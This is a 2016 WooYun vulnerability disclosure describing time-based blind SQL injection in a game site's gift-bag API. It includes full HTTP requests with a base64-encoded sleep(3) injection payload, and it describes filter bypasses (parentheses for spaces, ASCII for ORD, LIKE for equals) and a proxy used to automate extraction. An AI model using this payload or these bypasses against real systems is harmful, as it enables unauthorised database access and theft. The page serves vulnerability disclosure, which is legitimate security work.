当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184379

漏洞标题:威锋网游戏站存在SQL注入(含多重绕过+编码)

相关厂商:weiphone

漏洞作者: 路人甲

提交时间:2016-03-14 08:33

修复时间:2016-03-19 08:40

公开时间:2016-03-19 08:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:game.feng.com
检测发现以下地方存在SQL注入:(延时盲注)

http://game.feng.com/index.php?r=apiw/apiGiftBag/getNewGiftBagNum
Host: game.feng.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: WPForumPortal/4.2 (iPhone; iOS 9.2.1; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1
Content-Length: 1581
Accept-Encoding: gzip, deflate
data=eyJhcHBfa2V5IjoiYzg4YWJkZmIxN2M4OTAyNGVlMjY2NGViNDg3Y2I3OTYiLCJ2ZXJpZnkiOiI5ODJkOGUxY2ZmM2E3YTIyODhjMzMzYjVkMWRjNGJkNiIsImVuY3J5cHRfZGF0YSI6IlhDanBUc2JqYWFwM29SNzN1U1VFemhpRTZFY2lDY2J5MlFHNDA4ZVhLeHZ5bW9wdjhvRDJFYjNsSFI1bVVhOWhGOHB3S1wvTkhHRFdVQTZLSWsyQncrT3NNalZTcWVySyttWXdMdU5ZcWdCc1ZxWWpON3ZudytoYm8xS2xzc0Nwc2tMTUM4b294a085Uno2UWQ4dGUrY2dxZkxcL2NnZEROdkJYd3F3eHJ4V0dPUU40ZG8xTWVvN1ZaZTM4U1A2bityMVR1enVOSEw2S0ZEMVZ2TVN2XC8rQVZGeFRzcVdQVVZoaW4yK1wvZ05QTlljVVwva3d3VFZPNFE0MU1OMDhTQTVLWnNxQ0tmNU9QSjZJXC93azVzVDhwVmduWTBWWEl6dkFLdGc1WlB6QVZXNW9PQ1pUQ1BOY05ZeGV2RFFNbFZ1TndHUE1Ibjc0T1hhVkk5RW44cFh5TVwvaDNrYWNwNEhYWGUwWDJ4YU1wTTd0Zk1kK3JZT0RFc2k3NUo2dGFoTTdoQlNqRFdnT2NUVW12TEVMMzFMUW5qamVjc0I1Y0dIbk45MFNlWFU2VmxkM1hQalJ5d0JuaGpGRzlKQnFKSUhHTndTQnlBYzhcLzAyK0YrMGNPWGhvWGttZWd6NmFVeEpwYUhnSWlxMjVDN3k5a2JiaURZXC91anpEbWR4dks3WExVXC9aWXhzOE5tclpOb0N1OUN2OTNzVmt4clp5N2szRVFzNG5PcURTcGhIV3VwcDBRQTNWM1B0T2lZSGFtUzFLc3dIRmc5clQxQmhkZVRNNytUNCtrQlZwc0NPZ0hUV282cFNSWTdmK0JqaGhLVHhhMjF6Y0czbEdYMTFicHV6UWhPYThsUktcL0g4VHBuYkhNbUZyaEV4cWxjQzFUbWRrZ1hZNmhzR0Zlc1FrQUp5N3UrNk5YbFVQR1g2V1lzekRvS3l3SlgyMEhiaWZyZFM1SHJyQ3VQNThaeHU0K1wvZElLVzY0bkU1bHdqSThwUSsrRHJrSDlidzE4bUxBREpQUHhrUjdOXC8yTDFxZnVPanFvZDB5dWFYRk5BUEVXZGpcL1RkaWFSSXhobWdoZTZkZmtXMG5IZ3ZQQ2VGWEFtOHpveCsxTDl4eTlaRXhoYWR4aVFia3Jlc0pkXC9zdG85czFSeWxYbkJkVm9DRFBrOHFhb2FhbStUMHFzZURuMlN0NnRKWTNweG1GT1NXY2RnOFNtZGZLNDBDcTc3aWVHTlpsVEdoWXYySkhvczN1Y0lnQW5HSEF3OWlBdXVLYlprbEtmVjY1QW80R1lWY0M1U2E3UCtWcUdWV1BhXC9MdVwvZkJTQVdoNUg1WVNiaFVMSTdoV256RXdcL1hpd1FTSmtlRTVMSWQybUhzTjFyeThha1h2SFArUWVqalVTS2JOTHFnVXJVYVBUUkc3eCJ9


Payload:(延时3秒)

POST http://game.feng.com/index.php?r=apiw/apiGiftBag/getNewGiftBagNum HTTP/1.1
Content-Length: 1589
Accept-Language: zh-Hans-CN;q=1
Accept-Encoding: gzip, deflate
Host: game.feng.com
Accept: */*
User-Agent: WPForumPortal/4.2 (iPhone; iOS 9.2.1; Scale/2.00)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Cookie: NSC_hbnf.gfoh.dpn=ffffffffc3a0ac1345525d5f4f58455e445a4a423660
Pragma: no-cache
Cache-Control: no-cache,no-store
Content-Type: application/x-www-form-urlencoded
data=eyJhcHBfa2V5IjoiJysoc2VsZWN0KDApZnJvbShzZWxlY3Qoc2xlZXAoMykpKXYpKyciLCJ2ZXJpZnkiOiI5ODJkOGUxY2ZmM2E3YTIyODhjMzMzYjVkMWRjNGJkNiIsImVuY3J5cHRfZGF0YSI6IlhDanBUc2JqYWFwM29SNzN1U1VFemhpRTZFY2lDY2J5MlFHNDA4ZVhLeHZ5bW9wdjhvRDJFYjNsSFI1bVVhOWhGOHB3S1wvTkhHRFdVQTZLSWsyQncrT3NNalZTcWVySyttWXdMdU5ZcWdCc1ZxWWpON3ZudytoYm8xS2xzc0Nwc2tMTUM4b294a085Uno2UWQ4dGUrY2dxZkxcL2NnZEROdkJYd3F3eHJ4V0dPUU40ZG8xTWVvN1ZaZTM4U1A2bityMVR1enVOSEw2S0ZEMVZ2TVN2XC8rQVZGeFRzcVdQVVZoaW4yK1wvZ05QTlljVVwva3d3VFZPNFE0MU1OMDhTQTVLWnNxQ0tmNU9QSjZJXC93azVzVDhwVmduWTBWWEl6dkFLdGc1WlB6QVZXNW9PQ1pUQ1BOY05ZeGV2RFFNbFZ1TndHUE1Ibjc0T1hhVkk5RW44cFh5TVwvaDNrYWNwNEhYWGUwWDJ4YU1wTTd0Zk1kK3JZT0RFc2k3NUo2dGFoTTdoQlNqRFdnT2NUVW12TEVMMzFMUW5qamVjc0I1Y0dIbk45MFNlWFU2VmxkM1hQalJ5d0JuaGpGRzlKQnFKSUhHTndTQnlBYzhcLzAyK0YrMGNPWGhvWGttZWd6NmFVeEpwYUhnSWlxMjVDN3k5a2JiaURZXC91anpEbWR4dks3WExVXC9aWXhzOE5tclpOb0N1OUN2OTNzVmt4clp5N2szRVFzNG5PcURTcGhIV3VwcDBRQTNWM1B0T2lZSGFtUzFLc3dIRmc5clQxQmhkZVRNNytUNCtrQlZwc0NPZ0hUV282cFNSWTdmK0JqaGhLVHhhMjF6Y0czbEdYMTFicHV6UWhPYThsUktcL0g4VHBuYkhNbUZyaEV4cWxjQzFUbWRrZ1hZNmhzR0Zlc1FrQUp5N3UrNk5YbFVQR1g2V1lzekRvS3l3SlgyMEhiaWZyZFM1SHJyQ3VQNThaeHU0K1wvZElLVzY0bkU1bHdqSThwUSsrRHJrSDlidzE4bUxBREpQUHhrUjdOXC8yTDFxZnVPanFvZDB5dWFYRk5BUEVXZGpcL1RkaWFSSXhobWdoZTZkZmtXMG5IZ3ZQQ2VGWEFtOHpveCsxTDl4eTlaRXhoYWR4aVFia3Jlc0pkXC9zdG85czFSeWxYbkJkVm9DRFBrOHFhb2FhbStUMHFzZURuMlN0NnRKWTNweG1GT1NXY2RnOFNtZGZLNDBDcTc3aWVHTlpsVEdoWXYySkhvczN1Y0lnQW5HSEF3OWlBdXVLYlprbEtmVjY1QW80R1lWY0M1U2E3UCtWcUdWV1BhXC9MdVwvZkJTQVdoNUg1WVNiaFVMSTdoV256RXdcL1hpd1FTSmtlRTVMSWQybUhzTjFyeThha1h2SFArUWVqalVTS2JOTHFnVXJVYVBUUkc3eCJ9


这个SQLMap默认基本跑不出数据
1、BASE64编码,SQLMap的base64解码tamper只适用于一个参数的,不适用于全post data,于是只能通过开源代理来自动decode
2、过滤,经测试发现Payload中出现以下字符都是报错滴:
空格/ORD/等号/CURRENT_USER
于是用括号代替空格,用ASCII代替ORD,用like代替等号……截个图改写的代理:

QQ截图20160313235915.jpg

漏洞证明:

1、跑出当前数据库用户

user.jpg


2、跑出当前数据库

db.jpg

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-03-19 08:40

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无